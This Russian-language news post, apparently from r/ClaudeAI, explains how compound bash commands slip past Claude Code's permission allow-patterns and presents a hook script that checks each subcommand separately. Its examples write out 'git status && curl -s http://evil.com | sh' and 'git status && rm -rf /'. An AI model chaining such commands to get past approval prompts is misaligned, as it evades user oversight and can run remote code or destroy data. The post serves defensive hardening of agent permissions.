Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд

Уязвимость в системе разрешений Claude Code
В системе разрешений Claude Code существует уязвимость, позволяющая составным bash-командам обходить шаблоны разрешения/запрета. Когда вы разрешаете команду вроде Bash(git status:*), Claude Code сопоставляет всю строку команды с этим шаблоном. Это означает, что составная команда вроде git status && curl -s http://evil.com | sh будет соответствовать шаблону git status* и получит автоматическое разрешение, даже несмотря на цепочку команд curl и sh.
Решение: claude-hooks
Исправление представляет собой один Python-скрипт под названием claude-hooks, который работает как хук PreToolUse. Он выполняет несколько ключевых функций:
- Разбивает составные команды, разделяя по
&&,||,;,|, переносам строк, и рекурсивно извлекает содержимое подпроцессов$()и обратных кавычек - Нормализует каждую подкоманду, удаляя префиксы переменных окружения, перенаправления ввода-вывода, тела heredoc и ключевые слова оболочки
- Проверяет каждую подкоманду отдельно по вашим существующим шаблонам
permissions.allowиpermissions.deny - Запрет побеждает — если любая подкоманда соответствует шаблону запрета, вся команда запрещается
- Все должны быть разрешены — автоматическое разрешение происходит только тогда, когда каждая подкоманда соответствует шаблону разрешения
- Плавный переход — если какая-либо подкоманда неизвестна, вы всё равно получаете обычное окно запроса разрешений
Инструкции по установке
Установка занимает около 30 секунд:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyДобавьте в ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}Инструмент не имеет зависимостей, кроме Python 3, и не требует настройки — он читает ваши существующие шаблоны разрешений.
Примеры поведения
git status: Разрешено как с хуком, так и без негоgit add . && git commit -m "msg": Разрешено как с хуком, так и без него (оба соответствуютgit *)git status && rm -rf /: Разрешено без хука, с хуком появляется окно запроса (уrm -rf /нет разрешения)`npm test | tee output.log`: РазрешеноFOO=bar git push: Может не соответствовать без хука, разрешено с хуком (переменная окружения удалена)
Репозиторий доступен по адресу https://github.com/liberzon/claude-hooks под лицензией MIT.
📖 Read the full source: r/ClaudeAI
👀 Смотрите также

Эксперимент по проверке безопасности показывает, что производительность ИИ-агента зависит от доступа к знаниям.
Разработчик провёл три независимых аудита безопасности одного и того же кодового проекта на Next.js, используя разные подходы с ИИ: встроенная проверка безопасности Claude Code обнаружила 1 критическую, 6 высоких и 13 средних проблем; ИИ-агент без дополнительного контекста нашёл 1 критическую, 5 высоких и 14 средних; ИИ-агент с доступом к 10 профессиональным книгам по безопасности выявил 8 критических, 9 высоких и 10 средних проблем.

AI-чатботы утекают реальные номера телефонов: проблема утечки PII
Чат-боты, такие как Gemini, ChatGPT и Claude, раскрывают реальные личные номера телефонов из-за содержания PII в обучающих данных. DeleteMe сообщает о 400%-ном увеличении запросов на конфиденциальность, связанных с ИИ, за семь месяцев.

Уязвимости функции «Разрешать всегда» в OpenClaw и более безопасные альтернативы
Функция 'разрешить всегда' в OpenClaw стала предметом двух уязвимостей (CVE) в этом месяце, позволяя выполнять несанкционированные команды через привязку команд-обёрток и обходы с помощью символов продолжения строки в оболочке. Более глубокая проблема заключается в том, как эта функция приучает пользователей переставать обращать внимание на запросы безопасности.

Сканирование безопасности выявляет критическую уязвимость в инструменте поиска навыков AI-агента.
Разработчик, проводивший сканирование безопасности своей настройки ИИ-агента, обнаружил уязвимость высокой степени серьезности в инструменте find-skills, который использовался для установки дополнительных навыков, что вызвало обеспокоенность по поводу безопасности экосистемы.